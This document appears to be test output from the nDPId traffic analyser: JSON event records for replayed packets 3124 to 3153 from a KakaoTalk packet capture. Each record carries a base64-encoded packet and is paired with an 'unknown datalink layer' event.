+00544{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3124,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":570014,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKMAAEAAHBH91wHJAa4KGFK8WgYoHACPu42AbFGKi0RG2guGVRlXMamyMjO6YEGMchWgUncQHzeYmutO8mQqZAG9zJjM5+R7PnAbJFLM507JoKAFotBJhcPihjIEKyU+OdsCFg5KtCagY8gCD6fVjsgz2GmAMgEHf522NuV4DVAemxKuhlSDN2NM2ZChDo0FVXVpLPZWjHFMErsCz5tagVg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3124,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00466{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3125,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":570166,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGgAAEAAHRH9EgHJAa4KGFK8WgQsOABU\/ESAbDQQfrOog1SapdpZhhiJKIGOjNNQ87XreV1xUk2rKNC4n7OspJ8XMENiitHrPjEKH8aXRKHlXTF1eq2DPReZG\/5v6sajki1RpTiq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3125,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00608{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3126,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":583197,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM4AAEAAHBH9rAHJAa4KGFK8WgYoHAC6XxWAbFGLi0RKmguGVRlyAw74s+6Wg8jdX1sPQlgc0oG9c9+6JXlg0JJmrIvQ5YQmVcQtIxCvHRe2ujGAFMiF0XcLhGEXHtq76\/5\/HCG0wZo73e\/aH4v8l7QXNDjw8Mdn8d\/Y94mHOo8D\/1qalkZDcDtQj1+tziIywXlbKp3RTZ0ICPiKSRk9DD0cUU5CqQMhz\/G7pbXOfAfYdMXPb3r\/BhbT1\/Z2anY8gAXMsKgYo78+SDZh"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3126,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3127,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":583350,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHBH9\/AHJAa4KGFK8WgcoHQBqvhOByAAMC4ZVGb0txf2fpar55VdEb7f4IC88wu1p9QLIjxRXBm3N9H1cSHejirb2FRXchdbFVC49nlJGchRkEMslkZr6BLx+s0NpZ1xfVSoNvSj\/hi2AAAALpowHfzIlmqKfwg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3127,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3128,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":599250,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHRH9GgHJAa4KGFK8WgQsOABMJS2AbDQRfrOsQ1Sapdrhy9n99g59rP6s\/cikH4NoI\/kS8UIrsUc5TwX6wnPIB9atX5ejeV39HT4CgwRDKFELuvQifJ3Rhg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3128,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3129,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":600012,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABGViqAbDQSfrOwA1Sapdo2J8m3SRhKubO5k9h4cLLqDfSann8N8GTJ4CaFK+XWxT6dOAle8Xg68hNpn1nWA+7MBw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3129,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00583{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3130,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":630011,"pkt_caplen":206,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAL4AAEAAHBH9vAHJAa4KGFK8WgYoHACqC7GAbFGMi0ROWguGVRlCv7LaBEJm\/FXo0UloHxjCaC9FfxEappooFBGpLnbIkM+07z91bwuDUsxI2aeodHVd9KPvXKtD0noHXnHcYxWuwGy6SUGPfcS\/T2qR\/D3FTJExEV2gd0gfE0OXojiyI5KfLTpq1B4ptktO5IUmz2Vd3ACzoAdgS1qQBDpHCmkt329r7VPl9YalY66H7VyRN75V4fXdO3E="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3130,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00493{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3131,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":638098,"pkt_caplen":141,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":141,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH0AAEAAPxHbJQoYUrwByQGuLDhaBABpiLiAbFGai0SC2guGVRkUR1eNBEaJizY9N\/Elgl4ZoRkAfJ6JHu5MunJDVmttJnrK+u88Phl522Xu4phqHSeVB3VNArz0CM6EQNnBfgvqNHLpd1mivFd6j8h+QOrFJM0WZ8Sn"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3131,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00603{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3132,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":645758,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM4AAEAAHBH9rAHJAa4KGFK8WgYoHAC6pm+AbFGNi0RSGguGVRn1FN8wdA9Q8vtRCvACz\/aJu+sE0gJ4mAPCoIcydAV1LFIFY6JTaAwWN+Rqr8vENfPUDHWLu5qQLytEdIdacF+PGNTXbfj7\/ckvsDP2UtoMXFH8ose5TA8ZnsZ5l1XizTssmzC+W89bZ9\/cwc9sUS8CEEGcSv9QiNJm5pfoblmaIA7CCeTnKwTjyQWcRAspv57r1S9UZqcMl96YeAkrd4bw2WZefWGz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3132,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3133,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":648902,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGUAAEAAHRH9FQHJAa4KGFK8WgQsOABRMfGAbDQTfrOzw1Sapdq3mTUu62xREGqmo79LboCtKcrcEWPmc9sQs\/6O1A4vzm+SrdkHSPV7lCbFPyl6daKcZQ7XQR7guR2m6HUr"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3133,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3134,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":659064,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHRH9GgHJAa4KGFK8WgQsOABMwu2AbDQUfrO3g1Sapdp3LKaHNcm191OPNWcTWtfkeODxCL3tPl6mzmmcwtSLoLe\/BdUDWIYm2r2vhZDjFVbzRovAziZpNQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3134,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00478{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3135,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":661719,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHEAAEAAQBHaMQoYUrwByQGuKBxaBgBdLEyAbDQgfrPkg1SapdpDvJTmdQOfEXhiPwgIiWgM\/7+J34+UR0s2zHzC4eGEyYl2sv1ve8PslWQFmhnhRGuI\/rDFQH0adU6QjyABJ6qyIFGvUS3BPAOO"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3135,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00597{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3136,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":679175,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMkAAEAAHBH9sQHJAa4KGFK8WgYoHAC1GcqAbFGOi0RV2guGVRnvPYu2S3moDerqTSgjkdJuAiWuVojwqg5IzcU2S410nARa7polGw1ltnDhts+228dL45BI3g3zTJZW70zhTUB5ihATRhBwz+7dCuXQ1w3YLKeCt9FBGird5135lj5sp3kucMv6i+JEkwy1rayMSvhmTdZSAhuS6BJosJgLxtsVQ\/8Zf+xsQJdO4kY64WmrpAImlwXZhxvupKnHDOKc0yX3DQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3136,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00574{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3137,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":703162,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALUAAEAAHBH9xQHJAa4KGFK8WgYoHACh5mKAbFGPi0RZmguGVRn27olNP6bfenUBU+0WvO5qM5LTUwlwxen4xyC\/ku\/mhHAcIvF2S31S2qK3p3cNIhC9sNUfwpilxnf\/pgGADF4TMjHZzWygJahoXqczAEIHYqtcveLoqOulUqNr0M34KQFsZygIgQrakY\/yYqSWPFdyTzOTV01PO0YI9ddIQhNH\/\/plTa2BgR9DtIw5rXk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3137,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00547{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3138,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":707160,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKMAAEAAHBH91wHJAa4KGFK8WgYoHACPxx+AbFGQi0RdWguGVRk3Ea1\/lx5p6FxSjeYlUWKyi4dUJudCaU\/JBC8oK\/TURMCi1IcNP39mhkrRwZgNQRLLDVpF1hYX461CTkus0TtOw3ktucoBMzNnmHu8pCXVqpIXibI1JG2ZLIuKJNXVHAWApKIUpnr4trLXuIjkID0aIwkkHR79cuhbZDo="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3138,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3139,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":707282,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHRH9HwHJAa4KGFK8WgQsOABHXZeAbDQVfrO7Q1SapdpLxPItycwkbxa0EQUWVL2L5YNVQa4t5Dl8FFfwsTbxMt1bXHBGb7+hSEyJ4BvaCMRHSOk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3139,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00548{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3140,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":710089,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKMAAEAAQBHZ\/woYUrwByQGuKBxaBgCPg7+AbDQhfrPoQ1SapdpZSviJW1qG+fyovg661l98bE0\/yu52C3ngrXwWSIu\/RN7BTdsKbhXpAMz3B7b\/7H0jcURyo8FSdyh5rKNgvJZyTtmL2ubbA9Y1p3Vu5XLuhAGgOKu5niL4H8eVvKnSnMM5nYQ588R3BhMe1fvBJYjejeEesEZZ9lEzv4w="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3140,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00619{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3141,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":738318,"pkt_caplen":234,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":234,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANoAAEAAPxHayAoYUrwByQGuLDhaBADG3vSAbFGbi0SGmguGVRklunzYexA7kU3G5sAe6voc\/XNKmtCYKfH7xgGlpCLhtbmy4nT\/dMD9kKkE8CmKVgIlHaoUm+XT2G6l05RSMoPObLK1zrZy5Q33f5AL1R636QuyYmJ37iaO+YCnWwCgJlA72YY6HpLLNKiP2Yf2cLSo4q1Bgkmf+FJBEi3\/QJYO2ye100jkOBhaK2pOLnMMLvmzibmT8V492+N+bwqKMppm+GsMcQbit9InCOtm3hB3O8g5"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3141,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00614{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3142,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":740882,"pkt_caplen":227,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":227,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANMAAEAAPxHazwoYUrwByQGuLDhaBAC\/2KqAbFGci0SKWguGVRl\/SkhVgTkQfI\/DEf2RKFyCGkrtflNfxP7fhLekEnmSqejjWvNSYlInsU1HVa\/ovkH6k60BJrojcoa+Wt7oHurk7+sdm2oZnVCznvBMnS9QaQshEii9r+GHlzkYKVRg\/EjuQKbuRXQJnwUT3NggS+KfWtdbSaQpK6gGWJmP+Zz4AW4UHzP9\/XWBMhZ1R2LTzjTbsipDsvup3jNm+BJXxpuONEncp9MLwwSKzuw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3142,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3143,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":743262,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF4AAEAAHRH9HAHJAa4KGFK8WgQsOABKuHyAbDQWfrO\/A1SapdpmeM+ilwZ5\/zKi3IEnCjxDuEIMj5UzySPymEHL39APAc8gUkNa+y0L4zUj7DtjIjk4v3z4r9Q="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3143,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3144,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":743842,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHRH9IgHJAa4KGFK8WgQsOABEchyAbDQXfrPCw1Sapdqyc1LwaNFPYIy\/TKcn\/8TtEOP4XUDmavf\/6kWhoP4KmS0ltCEi9umR0oC8Oo6CgRk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3144,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00576{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3145,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":763587,"pkt_caplen":202,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":202,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALoAAEAAHBH9wAHJAa4KGFK8WgYoHACmmX6AbFGRi0RhGguGVRncMtFzzNZGBNk8lOvsmiylHvwBsMIRGuSuPmtvUvSynEbpOx7hRrjMRDJMzb44j+AhTvLd051dDD0JssyVxPbztctdRVuDKVuGlmqJlT9e3LBp2BmQE0F+z+2yozXPCWvzSyJoE96nasdPD1yGcEGyUflvtofQCMHfP43GIPM0+3A2FTX2zoVQMOInxKzlaNS0XA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3145,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00604{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3146,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":779181,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM4AAEAAHBH9rAHJAa4KGFK8WgYoHAC6k0uAbFGSi0Rk2guGVRmitL0NU+mJLtiEpQRZMEcQKWBIki\/GgZsVFBk1ouetNX8bpPxlu3jhQELUXLjgOY0ltW\/X3xvnL1zr4YYmFz+eCvFujSxmJowZA6je7EQZONnK1PLn9pZAmjDX+YYNt1hBtLlruHgJ1Sd\/DJeH3OV7Jraz3bN0328TEle7kTIzazg4Zz+sPicvfG++WWQVW71AAxjX4zpJVEVPyy+\/pt9a2rHTIKOP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3146,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00608{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3147,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":782080,"pkt_caplen":223,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":223,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM8AAEAAQBHZ0woYUrwByQGuKBxaBgC7hhCAbDQifrPsA1SapdoixsWTzlAmLooJ8jY6U78vNsJ4oFf9R7jwBLGLNXXz3YNDVIY6Le1kYQdX40I493+7zvAroe7pS1rgXtmBVlnU+51PD5W2edkgq29pP0Taz5OEHDLPGBrBXVnPQ0MTL6xu8IUVTN\/pydUKPaDLVOOeFM1\/jbTVYU\/sjc+MMeMRhBvLKKQCuU27iLpZN1VIqGv38etICC8U2JVr9cDlTyoprmHhUA\/Hzw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3147,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3148,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":787116,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHRH9IgHJAa4KGFK8WgQsOABEsRaAbDQYfrPGg1SapdoGTF68AgjqW7pf0vmm\/B3u6gwx8yLk48z9Gfmk+yZA9yxt2r+p8ErOv+wwKmSKKcs="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3148,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3149,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":799170,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFgAAEAAHRH9IgHJAa4KGFK8WgQsOABEZu2AbDQZfrPKQ1SapdrW8eeieuUTKCD\/yU49LrPaR0r07UOmL9jXIQdynK5sUcWfqXsS4hnqw3NO1jc+FUw="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3149,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00595{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3150,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":827094,"pkt_caplen":215,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":215,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMcAAEAAHBH9swHJAa4KGFK8WgYoHACz\/6yAbFGTi0RomguGVRlLlEnjC3rrlcpDlf+GpQEkEyfs8BNN6y\/45uODDD0lOgpflTmnnEyq5OfFG60X6aUnfHAzG3tamZNFnNl6rZ9Mi4rP8l61VamViDku97dmjWjilNFu+aSS9XJx6IXVkB5GvyzR8yvG7gO62wfhByPJ8eBHCCdv+iFbREvdsptNmI6UQ0qqVIEK6B3+8Ais6\/YP93RVabYZoXDKlYWpC9o="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3150,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00603{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3151,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":838629,"pkt_caplen":222,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":222,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM4AAEAAPxHa1AoYUrwByQGuLDhaBAC6Jb+AbFGdi0SOGguGVRmOcOnLZl+ukDOLF6IMmpTyEm5ZkCGpjKHOrYhAF1G+qTk6qhsja42M3k9+7dhUyM1RW4gRhKOzhxj\/xmq6HDbqIGy\/rtXvIqJeEqEhMx9uK3P837MevL15JETIBdfgEI9Qy8GsIdkwf6\/v5ZT6COxrs8z8xRDlZ82gPhPoWjz4WMUzGddlSzPrw8nn5olF2h+3olSvgHedbRLO5r02xzkRPeUAb4h+"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3151,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00594{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3152,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":838935,"pkt_caplen":216,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":216,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMgAAEAAQBHZ2goYUrwByQGuKBxaBgC0tXmAbDQjfrPvw1SapdrH92TwJrSGJXrHpWc9oUvMPVF54WLmAsTqTJUbxo2dvQ8WKlJ4jcwUvwJ9h3lK6IQN5LrGAAr55Tco1rPnjmfhybupCMERNh6WQfRNk4JzkHhgyrnrw6cqZ+GIinnMPEbO\/JtawZfMi6z2zozh5lw7GpcNsUULwGjIKjOMlQiSF8Uz+UL\/VtJNkYF8S4BRk4UkiUYYaohU67RlN8PuhFeT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3152,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00607{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3153,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069215,"pkt_ts_usec":840705,"pkt_caplen":223,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":223,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM8AAEAAPxHa0woYUrwByQGuLDhaBAC7FACAbFGei0SR2guGVRnokglrmz85Z31qz8YMjjYe8w0\/tGfPAf4ZYRniyQB\/E51Li45MY7YbmodKBVyJt6uidnCScxEdbCl\/G29DVhLHzF08dcMl0+OosuGuwB4wtx6rtyDX+09wJoWJ9LOgr51EfyXU45Y9QMD9kIJAAqMKpeAm1nx9UACo+mH3cXBkSlvrvIqF7qRINCPnmV36cl3Yke3zP0PCN7dZ1Ydh3ZfaLcoZkN+72Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3153,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 